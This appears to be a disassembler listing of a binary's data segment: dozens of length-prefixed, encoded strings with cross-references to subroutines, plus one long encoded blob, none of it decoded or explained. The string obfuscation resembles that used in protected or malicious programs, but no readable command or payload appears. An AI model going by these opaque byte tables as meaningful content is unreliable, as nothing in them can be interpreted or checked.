aFibeBsfBibzFbN	db 'Ä”¨¡¥·¡èä·¡¨¡§°ä¼´­¶¥°­«ªä‰«ª°¬',0
byte_551B31	db 4, 0, 1		; DATA XREF: sub_444A91+68o
a19y		db '$19Y',0
asc_551B39	db 0Ah,0		; DATA XREF: sub_444A15+30o
		db 0DFh
		dd 80BCB9ACh, 0BBF1ACB0h
		db 2 dup(0B3h),	0
byte_551B47	db 0Ah			; DATA XREF: sub_444A15+1o
		dd 0CCD9AA00h, 0D9C5F5C9h, 0C6C6CE84h
		db 0
byte_551B55	db 4, 0, 0Fh		; DATA XREF: sub_444970+6Fo
aW		db '*!=W',0
byte_551B5D	db 1, 0, 96h		; DATA XREF: sub_444970:loc_4449CDo
		db 0B3h, 0
word_551B62	dw 2			; DATA XREF: sub_444970:loc_4449AEo
		dd 266045h
dword_551B68	dd 1C270003h			db 48h,	1Ah, 0
byte_551B6F	db 4			; DATA XREF: sub_4441D8:loc_4444ABo
		dd 0ACE4DF00h
		db 0B0h, 0E2h, 0
byte_551B77	db 4			; DATA XREF: sub_4441D8:loc_444461o
		dd 83DCE700h
		db 0DAh, 0C6h, 0
byte_551B7F	db 4			; DATA XREF: sub_4441D8+248o
		dd 59063D00h, 1700h
dword_551B88	dd 3, 32007Bh, 3C0036h		db 2 dup(0)
word_551B96	dw 17h			; DATA XREF: sub_443F7C:loc_44418Fo
		dd 16501633h, 16501650h, 50161E50h, 2 dup(50165016h), 5E5C501Dh
		db 0
byte_551BB1	db 16h,	0, 15h		; DATA XREF: sub_443F7C+1CDo
a0v0v0v0v0v80v0	db '0v0v0v0v0v80v0v0v0v;g`',0
byte_551BCB	db 10h			; DATA XREF: sub_443F15:loc_443F5Do
		dd 0CDD68500h, 0C3F1E0C2h, 0E0E1E9EAh, 0F1E4D5F7h
		db 0EDh, 0C4h, 0
byte_551BDF	db 0Bh			; DATA XREF: sub_443F15+31o
		dd 11A6900h, 5A05050Ch,	50D475Bh
		db 5, 0
word_551BEE	dw 0Bh			; DATA XREF: sub_443F15+1o
aJzi		db 'µÆİĞÙÙ†‡›ÑÙÙ',0
byte_551BFD	db 1, 0, 59h		; DATA XREF: sub_44300F+DCBo
		db 25h,	0
word_551C02	dw 2			; DATA XREF: sub_44300F+D9Fo
		dd 0C29EBEh
dword_551C08	dd 457F0001h			db 0
byte_551C0D	db 4, 0, 37h		; DATA XREF: sub_44300F:loc_443CCDo
		dd 0D421217h
		db 0
byte_551C15	db 1, 0, 9Fh		; DATA XREF: sub_44300F+771o
		db 0E3h, 0
word_551C1A	dw 0Ah			; DATA XREF: sub_44300F+539o
		dd 0F9839FBFh, 85F2EDF0h, 81CA9Ah
dword_551C28	dd 0E6C6000Bh, 879480FAh, 0E3FC838Bh		db 0B3h, 0F8h, 0
byte_551C37	db 0Ah			; DATA XREF: sub_44300F+33Eo
		dd 829EBE00h, 0F3FFECF8h, 80F384FBh, 0
dword_551C48	dd 5, 0B000C6h,	0AA00A7h, 0A300B3h, 0dword_551C5C	dd 4, 0C500ABh,	0C600CAh, 0CEhdword_551C6C	dd 0EB0000h	dword_551C70	dd 0D8FD0004h, 0A1C79Ehdword_551C78	dd 85A00006h, 0F8858DF8h		db 81h,	0
word_551C82	dw 7			; DATA XREF: sub_442A78+63o
aCSxpzz		db 'Ë—»á寧§',0
		align 10h
asc_551C90:				; DATA XREF: sub_4423A6+26Fo
		dw 9
		unicode	0, <>,0
aM		db 'Œ',0
aU		db 'î',0
aS		db 'é',0
		db 'ê',0
aU_0		db 'ã',0
		dw 0FEh
		dd 0C900E9h, 0E800E2h
		db 2 dup(0)
word_551CAA	dw 20h			; DATA XREF: sub_4423A6+1F2o
aISSsiGqqiSGSAU	db 'ëΘ˘™ˆÖƒŸŸ›ÑÄÄΘԃÖΘÍÖÎÍ›ÖΘÕ',0
aC		db 'C',0                ; DATA XREF: sub_4423A6+156o
aZvZAiivSVBVVBV	db '§‚Ô‡ÔÕÄšÏÓÓ׈ˆ‚ԘϚ‚ÔΚ‚Ò‚ÔÈš‚ÒÁš‚ÄÔΚ‚ÔÔÈš‚ÒÓËš‚ÒÑš‚ÒÚ'
		db '‚Ô™',0
byte_551D15	db 10h,	0, 46h		; DATA XREF: sub_4423A6+E4o
aC5f54C5iyCX	db 'c5f54%{c5iy {c%x',0
byte_551D29	db 1Eh,	0, 1Fh		; DATA XREF: sub_4423A6+92o
aVrx?hvKw?wzvxw	db '#vrx?hv{kw"/?wzvxwk"/?}pm{zm"/',0
asc_551D4B	db 7,0			; DATA XREF: sub_4423A6+61o
		db 0F2h, 0CEh, 90h
aR		db 'ÌÎİÌ',0
asc_551D56	db 0Ah,0		; DATA XREF: sub_44234E+3Fo
		dd 0D4C1FEB1h, 0C5C4FCDFh, 0F0C9D4h
dword_551D64	dd 0E1AD000Ch, 0E1C9CCC2h, 0CCDFCFC4h, 0ECD4DFhdword_551D74	dd 5D1E000Bh, 7B6D7172h, 7A707F56h		db 72h,	7Bh, 0
byte_551D83	db 10h			; DATA XREF: sub_44234Eo
		dd 9BB9FE00h, 9A91B38Ah, 0B69B928Bh, 929A909Fh
		db 9Bh,	0BFh, 0
byte_551D97	db 40h			; DATA XREF: sub_4421CF:loc_442207o
		dd 0D4D79600h, 0D0D3D2D5h, 0DCDFDED1h, 0D8DBDADDh, 0C4C7C6D9h
		dd 0C0C3C2C5h, 0CCCFCEC1h, 0F2F5F4F7h, 0FEF1F0F3h, 0FAFDFCFFh
		dd 0E6F9F8FBh, 0E2E5E4E7h, 0EEE1E0E3h, 0A7A6ECEFh, 0A3A2A5A4h
		dd 0AFAEA1A0h
		db 0BDh, 0B9h, 0
byte_551DDB	db 0Ah			; DATA XREF: sub_441EAC+22Bo
		dd 0BF9DD000h, 0B987B5A6h, 0A7BFB4BEh
		db 0
byte_551DE9	db 0Eh,	0, 0F6h		; DATA XREF: sub_441EAC+216o
aUvbqstsbSss	db '±“‚¡Ÿ˜’™º™˜‘·',0
byte_551DFB	db 0Eh			; DATA XREF: sub_441EAC+201o
		dd 6B490E00h, 6067597Ah, 5A79616Ah, 4F7A766Bh
		db 0
byte_551E0D	db 0Eh,	0, 83h		; DATA XREF: sub_441EAC+1ECo
		dd 0D4F7E6D0h, 0ECE7EDEAh, 0FBE6D7F4h
		db 0F7h, 0C2h, 0
byte_551E1F	db 8			; DATA XREF: sub_441EAC+1D7o
		dd 0C3F5A600h, 0CBCFF2D2h
		db 0C3h, 0D4h, 0
byte_551E2B	db 0Fh			; DATA XREF: sub_441EAC+1C2o
		dd 44662500h, 4C724949h, 524A414Bh, 464A5775h
		db 64h,	0
word_551E3E	dw 0Bh			; DATA XREF: sub_441EAC+1ADo
		dd 25331B56h, 33313725h, 172E3914h
		db 0
byte_551E4D	db 8, 0, 86h		; DATA XREF: sub_441EAC+198o
		dd 0C0F2E3D5h, 0F5F3E5E9h
		db 0
byte_551E59	db 0Fh,	0, 7Eh		; DATA XREF: sub_441EAC+183o
		dd 1F1B0C3Dh, 17291B0Ah, 9111A10h, 3F063Bh
dword_551E6C	dd 0EEBD000Eh, 0D4EAC9D8h, 0CAD2D9D3h, 0DAD3D2F1h
					; DATA XREF: sub_441EAC+16Eo
		db 0FCh, 0
word_551E7E	dw 0Dh			; DATA XREF: sub_441EAC+159o
		dd 9691BEF8h, 9691AF9Ch, 0BD8F979Ch
		db 80h,	0B9h, 0
byte_551E8F	db 12h			; DATA XREF: sub_441EAC+144o
		dd 9EB5F000h, 95B49D85h, 9F849B83h, 9E99A780h, 83879F94h
		db 0
byte_551EA5	db 0Dh,	0, 87h		; DATA XREF: sub_441EAC+12Fo
		dd 0F3F4E2C3h, 0D0FEE8F5h, 0E8E3E9EEh
		db 0F0h, 0
word_551EB6	dw 0Eh			; DATA XREF: sub_441EAC+11Ao
aPonVepdIDik	db 'Ë®­œ¢¥¯¤¼›¹¤¨Š',0
dword_551EC8	dd 0AEFA0010h, 89949B88h, 9F8E9B96h, 89899FB7h,	9F9D9Bh
					; DATA XREF: sub_441EAC+105o
dword_551EDC	dd 1C5B000Dh, 37182F3Eh, 1528283Ah, 1A3E363Ah		db 0
byte_551EED	db 0Ch,	0, 0C4h		; DATA XREF: sub_441EAC+DBo
aCbkaibEgbe	db '—¡ª ‰¡··¥£¡…',0
byte_551EFD	db 0Eh,	0, 8Eh		; DATA XREF: sub_441EAC+C6o
		dd 0E7E9EBDCh, 0FCEBFAFDh, 0FDEFE2CDh
		db 0FDh, 0CFh, 0
byte_551F0F	db 0Bh			; DATA XREF: sub_441EAC+B1o
		dd 0F5D79000h, 0E3F5DDE4h, 0F5F7F1E3h
		db 0D1h, 0
word_551F1E	dw 0Dh			; DATA XREF: sub_441EAC+9Co
		dd 0FFEECC8Bh, 0EFE5E2DCh, 0EED9FCE4h
		db 0E8h, 0FFh, 0
byte_551F2F	db 13h			; DATA XREF: sub_441EAC+87o
		dd 3F1D5A00h, 28351C2Eh, 35283D3Fh, 0D3E342Fh, 353E3433h
		db 2Dh,	0
word_551F46	dw 0Ah			; DATA XREF: sub_441EAC+72o
		dd 76714A19h, 77704E6Eh, 6E767Dh
dword_551F54	dd 0BEFA0010h, 9B8A8993h, 0B792998Eh, 9B89899Fh, 0BB9F9Dh
					; DATA XREF: sub_441EAC+5Do
dword_551F68	dd 4430009h, 2A143726h,	342C272Dh		db 0
byte_551F75	db 0Ah,	0, 87h		; DATA XREF: sub_441EAC+31o
		dd 0F5E2F4F2h, 0E3A9B5B4h
		db 2 dup(0EBh),	0
byte_551F83	db 0Ah			; DATA XREF: sub_441EAC+1o
		dd 32344100h, 73723324h, 2D2D256Fh
		db 0
byte_551F91	db 0Ch,	0, 1Bh		; DATA XREF: sub_441DD6+B5o
aMzirzuoxwZi	db 'MzirzuoXw~zi',0
asc_551FA1	db 0Dh,0		; DATA XREF: sub_441DD6+99o
aITsnsooQsvem	db '븒˜­™¸Ÿ™‚…Œ',0
word_551FB2	dw 0Ch			; DATA XREF: sub_441DD6+7Do
aCAgfZgB	db 'Ó—º £”¶§ƒ²¡²¾',0
asc_551FC2	db 0Bh,0		; DATA XREF: sub_441DD6+61o
aEBZZ		db 'Ó…²¡º²½§š½º§',0
byte_551FD1	db 0Eh,	0, 8		; DATA XREF: sub_441DD6:loc_441E1Bo
aQIddgkZafo	db '[q{Iddgk[|zafo',0
byte_551FE3	db 0Ch			; DATA XREF: sub_441DD6+2Eo
		dd 0EDEE8100h, 0F5F4E0E4h, 0E5AFB3B2h
		db 2 dup(0EDh),	0
byte_551FF3	db 0Ch			; DATA XREF: sub_441DD6+1o
		dd 74771800h, 6C6D797Dh, 7C362A2Bh
		db 2 dup(74h), 0
byte_552003	db 1			; DATA XREF: sub_441D71+2Co
		dd 257900h
dword_552008	dd 7C59000Fh, 3F3D052Ah, 232C7C35h, 3D776B6Ah		db 2 dup(35h), 0
byte_55201B	db 0Bh			; DATA XREF: sub_441AE5+C9o
		dd 83D5F000h, 0D583D5ACh, 9C9EDE85h
		db 83h,	0
word_55202A	dw 0Fh			; DATA XREF: sub_441AE5+A6o
		dd 133C6A4Fh, 3A6A2924h, 7D7C3523h, 23232B61h
		db 0
byte_55203D	db 10h,	0, 20h		; DATA XREF: sub_441AE5+5Fo
		dd 577C5305h, 55055253h, 1213545Ah, 4C4C440Eh
		db 0
byte_552051	db 5, 0, 0EEh		; DATA XREF: sub_440485+81Do
aKpP		db 'ÀŠš',0
asc_55205A	db 0Bh,0		; DATA XREF: sub_44018C+D4o
		dd 1C2A1059h, 35382C28h, 1D100C1Eh
		db 0
byte_552069	db 0Dh,	0, 8Ch		; DATA XREF: sub_44018C+B8o
		dd 0EDD8E3CFh, 0E9C1E7FFh, 0E9FECAE1h
		db 0E9h, 0
word_55207A	dw 0Ch			; DATA XREF: sub_44018C+9Co
		dd 3B1D3172h, 1B061B1Ch, 81B1E13h
		db 17h,	0
word_55208A	dw 0Fh			; DATA XREF: sub_44018C+80o
		dd 0CFD0DF9Ch, 0EEDAD8D5h, 0E8CFF1F3h, 0FBF2F5EEh
		db 0
byte_55209D	db 0Eh,	0, 0Fh		; DATA XREF: sub_44018C+64o
aLZafafFncfuj	db 'L`Zafaf{fncfuj',0
byte_5520AF	db 10h			; DATA XREF: sub_44018C:loc_4401D4o
		dd 2D014200h, 23273001h, 2C0B2736h, 2C233631h
		db 21h,	27h, 0
byte_5520C3	db 9			; DATA XREF: sub_44018C+31o
		dd 14177800h, 564A4B1Dh, 14141Ch
dword_5520D0	dd 4A250009h, 17164049h, 4949410Bh		db 0
byte_5520DD	db 5, 0, 74h		; DATA XREF: sub_43FF3A+1FBo
aQQ		db 'Q',7,'(Q',7,0
word_5520E6	dw 5			; DATA XREF: sub_43FF3A+176o
		dd 406F391Ch
		db 39h,	6Fh, 0
byte_5520EF	db 4			; DATA XREF: sub_43FF3A+Fo
		dd 0AAFCD900h
		db 85h,	0F3h, 0
byte_5520F7	db 18h			; DATA XREF: sub_43FCCD+1D9o
		dd 75431000h, 757B7144h, 757E675Fh, 79786362h, 79624060h
		dd 757C7966h
		db 77h,	75h, 0
byte_552113	db 1			; DATA XREF: sub_43FC04+51o
		dd 2B7700h
dword_552118	dd 29420006h, 346F3329h		db 3Ah,	0
word_552122	dw 8			; DATA XREF: sub_43FB57:loc_43FB74o
		dd 6D411732h, 174A465Fh
		db 47h,	0
word_55212E	dw 1			; DATA XREF: sub_43F79F+43o
		db 82h,	0D7h, 0
byte_552133	db 1			; DATA XREF: sub_43F79F+2Co
		dd 85E00h
dword_552138	dd 30600014h, 120F1433h, 5122305h, 29051401h, 114130Eh
					; DATA XREF: sub_43F26D:loc_43F2ACo
		dd 5030Eh
dword_552150	dd 6818000Bh, 6A776C6Bh, 7C367B7Dh		db 2 dup(74h), 0
byte_55215F	db 0Bh			; DATA XREF: sub_43F26D+1o
		dd 1C1F6F00h, 0A1D001Bh, 30B410Ch
		db 3, 0
word_55216E	dw 0Dh			; DATA XREF: sub_43F031:loc_43F1F6o
		db '´ÇÍÇÀÑÙÄÆÛÒİØÑ',0
byte_55217F	db 6			; DATA XREF: sub_43F031+186o
		dd 293E5B00h, 3E38322Dh
		db 0
byte_552189	db 1, 0, 26h		; DATA XREF: sub_43F031+FBo
		db 2, 0
word_55218E	dw 8			; DATA XREF: sub_43F031:loc_43F0D2o
		dd 70661535h, 767C6367h
		db 70h,	0
word_55219A	dw 6			; DATA XREF: sub_43F031:loc_43F098o
aJmjbrs		db 'Õ†Œ†˜',0
asc_5521A4	db 9,0			; DATA XREF: sub_43EA2A+20Co
		dw 1141h
a3_45		db '3.%4"5',8,'%',0
asc_5521B1	db ',',0                ; DATA XREF: sub_43EA2A+1FCo
		db 49h
		dd 1D0F061Ah, 0C1B081Eh, 2A200415h, 263A263Bh, 1E153D2Fh
		dd 262D2720h, 7693A3Eh,	3C0A151Dh, 272C3B3Bh, 3B2C1F3Dh
		dd 2726203Ah
		db 0
byte_5521E1	db 9, 0, 77h		; DATA XREF: sub_43EA2A+19Do
		dd 13180527h, 3E031402h
		db 13h,	0
word_5521EE	dw 29h			; DATA XREF: sub_43EA2A+18Do
		dd 0CFC6DA89h, 0DBC8DEDDh, 0E0C4D5CCh, 0FAE6FBEAh, 0D5FDEFE6h
		dd 0EDE7E0DEh, 0D5FAFEE6h, 0FBFBFCCAh, 0DFFDE7ECh, 0E0FAFBECh
		db 0E6h, 0E7h, 0
byte_55221B	db 1			; DATA XREF: sub_43EA2A+171o
		dd 0C8E600h
dword_552220	dd 210C0004h, 225429hdword_552228	dd 0E3800003h			db 0BAh, 0DCh, 0
byte_55222F	db 8			; DATA XREF: sub_43EA2A:loc_43EAB3o
		dd 1C4C6900h, 471C4C47h
		db 4Ch,	1Ch, 0
byte_55223B	db 12h			; DATA XREF: sub_43E9BF+4Co
		dd 89BCEF00h, 0A99CA68Ch, 0BF8A8386h, 8A9B809Dh, 8B8A9B8Ch
		db 0
byte_552251	db 7, 0, 28h		; DATA XREF: sub_43E9BF+28o
		dd 64B4E5Bh, 44444Ch
dword_55225C	dd 0B1C20007h, 0A6ECA1A4h		db 2 dup(0AEh),	0
byte_552267	db 6			; DATA XREF: sub_43E491+2AFo
		dd 9B9BF000h, 8886DD81h
		db 0
byte_552271	db 6, 0, 47h		; DATA XREF: sub_43E491+29Fo
a6j1?		db ',,6j1?',0
byte_55227B	db 6			; DATA XREF: sub_43E491+220o
		dd 0C1C1AA00h, 0D2DC87DBh
		db 0
byte_552285	db 6, 0, 0EAh		; DATA XREF: sub_43E491+165o
aBbiT		db '›Çœ’',0
asc_55228F	db 8,0			; DATA XREF: sub_43E491+155o
		db 9Dh,	0B8h, 0EEh
		dd 0E5E9F0C2h
		db 0B8h, 0E8h, 0
byte_55229B	db 6			; DATA XREF: sub_43E491+116o
		dd 1B1B7000h, 8065D01h
		db 0
byte_5522A5	db 7, 0, 0C3h		; DATA XREF: sub_43E491+106o
		dd 0AE9CB0E6h, 0F2BBB7h
dword_5522B0	dd 0D89B0012h, 0EFEBE2E9h, 0E9EBF5CEh, 0F8FEEFF4h, 0EFFADFEFh
					; DATA XREF: sub_43E429:loc_43E46Ao
		db 0FAh, 0
word_5522C6	dw 0Bh			; DATA XREF: sub_43E429+2Ao
		dd 8D8697F4h, 0C6C78084h, 989890DAh
		db 0
byte_5522D5	db 0Bh,	0, 0ECh		; DATA XREF: sub_43E429+1o
aPuxSIaa	db '•œ˜ßŞÂˆ€€',0
dword_5522E4	dd 226B0011h, 190E1F05h, 4B1F0E05h, 71B132Eh, 190E1904h
					; DATA XREF: sub_43E2F5+25o
		dd 0
dword_5522FC	dd 4, 450007h, 430048h,	5Ehdword_55230C	dd 8DCE0016h, 0A5ADA7A2h, 0ADA081EEh, 0A19AEEABh, 0A0A18DEEh
					; DATA XREF: sub_43CD37+F91o
		dd 0BBA0A7BAh
		db 0ABh, 0
word_552326	dw 6			; DATA XREF: sub_43CD37+F81o
		dd 40415614h, 5A5B40h
dword_552330	dd 0F7B2001Eh, 0E0FBE2EAh, 0FDFBE6F3h, 0F3F692FCh, 0B8B8F7E6h
					; DATA XREF: sub_43CD37+ECEo
		dd 0FFE6F3B8h, 0FCFBE292h, 0F6FDF192h
		db 0F7h, 0
word_552352	dw 6			; DATA XREF: sub_43CD37+EBEo
aXtztpe		db 'Æ•’‡’…',0
dword_55235C	dd 0CB0000h	dword_552360	dd 2C690004h, 3D202Dhdword_552368	dd 2270004h, 521509hdword_552370	dd 3B090006h, 3B272C39h		db 7Ch,	0
word_55237A	dw 0			; DATA XREF: sub_43CD37+C1Do
		db 1Eh,	0
word_55237E	dw 8			; DATA XREF: sub_43CD37+C0Do
		dd 0EDEFE3A0h, 0EFE2EFE2h
		db 0F8h, 0
off_55238A	dd offset dword_530000	; DATA XREF: sub_43CD37+B53o
word_55238E	dw 8			; DATA XREF: sub_43CD37+B43o
aP3?2?2?	db 'p3?=2?2?(',0
aN_0		db 'n',0                ; DATA XREF: sub_43CD37:loc_43D725o
		dd 0D0DFE4B1h, 91D4DDD3h, 0D091DEC5h, 0DED9C5C4h, 0D4CBD8C3h
		dd 0C294BB9Fh, 0DEC3C191h, 0C2C2D4D2h, 91D6DFD8h, 0C5DFD4D2h
		dd 0D891C3D4h, 0DFC491C2h, 0D4DDD3D0h, 91DEC591h, 0D9C5C4D0h
		dd 0CBD8C3DEh, 0DEC891D4h, 0D291C3C4h, 91D5C3D0h, 0BB9FC294h
		dd 0D4DAD0FCh, 0C3DED291h, 0C5D2D4C3h, 0C2DFDED8h, 0D5DFD091h
		dd 0C8C3C591h, 0D0D6D091h, 9FDFD8h
dword_55240C	dd 713C000Ah, 59484F5Dh, 4E5D7F4Eh		db 58h,	0
word_55241A	dw 4			; DATA XREF: sub_43CD37+9BCo
a63		db '`6)3!',0
word_552422	dw 1			; DATA XREF: sub_43CD37+8F0o
		db 8Ch,	0ACh, 0
byte_552427	db 6			; DATA XREF: sub_43CD37+8E0o
		dd 33346700h, 242E3326h
		db 0
byte_552431	db 15h,	0, 83h		; DATA XREF: sub_43CD37+79Bo
aIgggG		db '‰£££ÓÑÌÀÆĞĞÊÍÄ£ÅÂÊÏÆÇ',0
word_55244A	dw 6			; DATA XREF: sub_43CD37+78Bo
		dd 0F2E7E0B3h, 0F0FAE7h
dword_552454	dd 400000h	dword_552458	dd 0CE9D0006h, 0D4C9DCC9h					; sub_43CD37+A14o
		db 0DEh, 0
word_552462	dw 6			; DATA XREF: sub_43CD37+5A0o
		dd 63797912h, 6A643Fh
dword_55246C	dd 6B2E0008h, 41425E56h, 5C4B5Chdword_552478	dd 10540009h, 361B373Bh, 2037313Eh		db 0
byte_552485	db 0Eh,	0, 0F5h		; DATA XREF: sub_43CD37+4C8o
aBfcvIsVSfjj	db '¡”—¢œ›‘š‚¶™”††',0
byte_552497	db 4			; DATA XREF: sub_43CB55:loc_43CB8Co
		dd 0B4F2D700h
		db 0EDh, 8Bh, 0
byte_55249F	db 1			; DATA XREF: sub_43C752+351o
		dd 0EA9600h
dword_5524A4	dd 1F560019h, 15021318h, 761B1B19h, 20243305h, 6762433h
					; DATA XREF: sub_43C752+2E8o
		dd 21252537h, 25322439h
		db 0
byte_5524C1	db 1, 0, 8Dh		; DATA XREF: sub_43C752+2D0o
					; sub_43C752+3A1o
		db 0F1h, 0
word_5524C6	dw 1			; DATA XREF: sub_43C10A+342o
		db 0Ch,	2Fh, 0
byte_5524CB	db 1			; DATA XREF: sub_43C10A+2EBo
		dd 143700h
dword_5524D0	dd 92B10001h			db 0
byte_5524D5	db 7, 0, 9Dh		; DATA XREF: sub_43C10A+233o
		dd 0EDE9E9F5h, 0B2B2A7h
dword_5524E0	dd 0CAE90001h			db 0
byte_5524E5	db 7, 0, 0EFh		; DATA XREF: sub_43C10A:loc_43C24Do
aZiiq		db '‡››ŸÕÀÀ',0
dword_5524F0	dd 0E182040Bh, 0EAE1E7EAh, 0F0F2ECE7h, 0ACF1F1E7h, 0EDE4ECEBh
					; DATA XREF: sub_43C10A+10o
		dd 0EEEDE5A1h, 0EEEDF2E6h, 0EDE1ACEEh, 0ECEBA1EFh, 0EEEDE5F6h
		dd 0EDE1ACE6h, 0F5F5A1EFh, 0E0E1ACF5h, 0F7F0ACF0h, 0F5F5F5A1h
		dd 0E1F4E3ACh, 0E9E1E7EAh, 0A1F7F0ACh, 0F0EDF6F1h, 0FBE3F2EFh
		dd 0EFEDE1ACh, 0F7F0E1A1h, 0ACF2EDF6h, 0ECA1F7ECh, 0E7ACF5E7h
		dd 0E1ACE5E5h, 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h
		dd 0EDE1ACF1h, 0F4E3A1EFh, 0E1E7EAE1h, 0F7F0ACE9h, 0E1F4E3A1h
		dd 0E9E1E7EAh, 0F8EBE0ACh, 0F5F5F5A1h, 0EBE0E0ACh, 0F7F0ACECh
		dd 0F1E3EFA1h, 0AFF0E7F6h, 0EDE1ACFAh, 0F5F5A1EFh, 0EDF2ACF5h
		dd 0F1EBF8ECh, 0F1EFE3E1h, 0EFEDE1ACh, 0F5F5F5A1h, 0ECE3E0ACh
		dd 0E3E0AFE9h, 0E7F7F3ECh, 0ECE3E1AFh, 0ACE3E6E3h, 0F5A1E3E1h
		dd 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h, 0F5F5A1EFh
		dd 0EFE0ACF5h, 0EDE1ACEDh, 0E3F2A1EFh, 0EEE3F2FBh, 0EFEDE1ACh
		dd 0E3E0E7A1h, 0EDE1ACFBh, 0F5F5A1EFh, 0E3E0ACF5h, 0E4EDE9ECh
		dd 0F7E6E3EFh, 0E1ACE3F0h, 0F5A1EFEDh, 0E1ACF5F5h, 0ACE1E0EBh
		dd 0A1EFEDE1h, 0ACF5F5F5h, 0ACE0F6F4h, 0F5A1F7F0h, 0E1ACF5F5h
		dd 0ECE3E0F5h, 0EDE1ACE9h, 0EDE5A1EFh, 0EDF2E6EEh, 0E1ACEEEEh
		dd 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h
		dd 0F5F5A1EFh, 0EFEFACF5h, 0E9ECE3E0h, 0A1F7F0ACh, 0ACF5F5F5h
		dd 0E3EBECF7h, 0F7F0F6F1h, 0F7F0ACEFh, 0EEEDE5A1h, 0EEEDF2E6h
		dd 0EDE1ACEEh, 0F5F5A1EFh, 0EDF2ACF5h, 0F1EBF8ECh, 0F1EFE3E1h
		dd 0EFEDE1ACh, 0F5F5F5A1h, 0F0EDF5ACh, 0E3E0E6EEh, 0EDACE9ECh
		dd 0F5A1E5F0h, 0E1ACF5F5h, 0EBE6ECE3h, 0E7F6E3E6h, 0EBF0E7F4h
		dd 0F0E7EBE4h, 0EFEDE1ACh, 0F5F5F5A1h, 0ECEDF2ACh, 0E1F1EBF8h
		dd 0ACF1EFE3h, 0A1EFEDE1h, 0ACF5F5F5h, 0E9ECE3E0h, 0ECEBE4EDh
		dd 0ACE3EBE6h, 0A1EFEDE1h, 0ACF5F5F5h, 0E3E0E1EBh, 0F0ACE9ECh
		dd 0F4E3A1F7h, 0E1E7EAE1h, 0F7F0ACE9h, 0F5F5F5A1h, 0ECE7F4ACh
		dd 0F1F0EDE6h, 0E7EFE3ECh, 0A1F1F5ACh, 0ACF5F5F5h, 0ACE0EFE9h
		dd 0F5A1F7F0h, 0ECACF5F5h, 0E3EFF6E7h, 0F6F1EBE5h, 0E1ACF0E7h
		dd 0E9A1EFEDh, 0E3E9F4E3h, 0ECE7E1F8h, 0ACF0E7F6h, 0A1EFEDE1h
		dd 0ACF5F5F5h, 0E6ECE7F4h, 0ECF1F0EDh, 0ACE7EFE3h, 0EFA1F1F5h
		dd 0EEECEDFBh, 0E3E7ECEBh, 0F7EDE1E1h, 0B0F1F6ECh, 0E0E0E3ACh
		dd 0E3ECFBE7h, 0ECEDEBF6h, 0E1ACEEE3h, 0E9F7ACEDh, 0EEECEDA1h
		dd 0AFE7ECEBh, 0EBF1F7E0h, 0F1F1E7ECh, 0EDEEEEACh, 0F6F1E6FBh
		dd 0E1ACE0F1h, 0E9F7ACEDh, 0F5F5F5A1h, 0EEEEE3ACh, 0E0E3EAE3h
		dd 0E3E0E6E3h, 0E1ACE9ECh, 0F5A1EFEDh, 0F0ACF5F5h, 0E1ACE1E0h
		dd 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h
		dd 0F5F5A1EFh, 0EAACB3F5h, 0ACE1E0F1h, 0E9A1E3E1h, 0E7F0E0E5h
		dd 0E1FAE3EEh, 0ACE0F7EEh, 0FBA1F7F0h, 0EDE0EFE3h, 0F8EBE0ACh
		dd 0E6EBE9A1h, 0E0AFF1EDh, 0ACE9ECE3h, 0F5A1F7F0h, 0EEACF5F5h
		dd 0EBE6E1E0h, 0F6E1E7F0h, 0F7E3EEACh, 0F6ECE7F0h, 0E0ECE3EBh
		dd 0ACE9ECE3h, 0E0A1E3E1h, 0EEE1F0E3h, 0ACF1FBE3h, 0A1EFEDE1h
		dd 0E3F6EDF6h, 0E4FBEEEEh, 0E0E7E7F0h, 0EBE9ECE3h, 0E1ACE5ECh
		dd 0F5A1EFEDh, 0ECACF5F5h, 0E1ACE1E0h, 0B1B7A1E3h, 0E9ECE3E0h
		dd 0EFEDE1ACh, 0F5F5F5A1h, 0ECE7F4ACh, 0F1F0EDE6h, 0E7EFE3ECh
		dd 0A1ECF4ACh, 0ACF5F5F5h, 0AFE0B0E0h, 0F1F7F0F6h, 0EDE1ACF6h
		dd 0F5F5A1EFh, 0E7F4ACF5h, 0F0EDE6ECh, 0EFE3ECF1h, 0F1F5ACE7h
		dd 0E7F2EDA1h, 0ECE3E0ECh, 0EDE1ACE9h, 0E3F6A1EFh, 0E7ECAFF6h
		dd 0E3E0F6E4h, 0F0ACE9ECh, 0E7F1A1F7h, 0E0E3EEE1h, 0A1F7F0ACh
		dd 0F7E1E7F1h, 0FBF6EBF0h, 0ACE0E3EEh, 0E4A1F7F0h, 0E3EAF6E7h
		dd 0E0ACE6F0h, 0E5A1F8EBh, 0FAECEDF0h, 0ECE3EEF2h, 0ACF1F6E7h
		dd 0F4A1F7F0h, 0EDE6ECE7h, 0E3ECF1F0h, 0F4ACE7EFh
		db 0ECh, 0A1h, 0
byte_5528FF	db 1			; DATA XREF: sub_43B946:loc_43BBF8o
		dd 0C09C00h
dword_552904	dd 1E730006h, 1E101E16h		db 3, 0
word_55290E	dw 6			; DATA XREF: sub_43B841+D7o
aML		db 'ß²º²¬º«',0
dword_552918	dd 0FE8D0006h, 0ECEEFFF9h		db 0F9h, 0
word_552922	dw 6			; DATA XREF: sub_43B841+ADo
aMannov		db 'Á¬ ­­®¢',0
dword_55292C	dd 73120004h, 7B7D66hdword_552934	dd 731E0006h, 6E7D737Bh		db 67h,	0
word_55293E	dw 5			; DATA XREF: sub_43B841+6Eo
aVnz		db 'ð±¢­§',0
byte_552947	db 4			; DATA XREF: sub_43B841+59o
		dd 0A0B4D200h
		db 2 dup(0B7h),	0
byte_55294F	db 6			; DATA XREF: sub_43B841+44o
		dd 0FFF88B00h, 0F2FBE8F9h
		db 0
byte_552959	db 8, 0, 0FAh		; DATA XREF: sub_43B841+2Fo
aMikiufo	db 'Œ‰Šˆ“”œ',0
asc_552965	db 7,0			; DATA XREF: sub_43B841+1Ao
aT1		db 'T ;!$$1&',0
dword_552970	dd 8FFD0004h, 99939Chdword_552978	dd 261000Ah, 0D051513h,	0D054F0Dh		db 0Dh,	0
word_552986	dw 0Ah			; DATA XREF: sub_43B004+1o
aD60J		db 'D',27h,'60 ((j ((',0
dword_552994	dd 0CAEB0001h			db 0
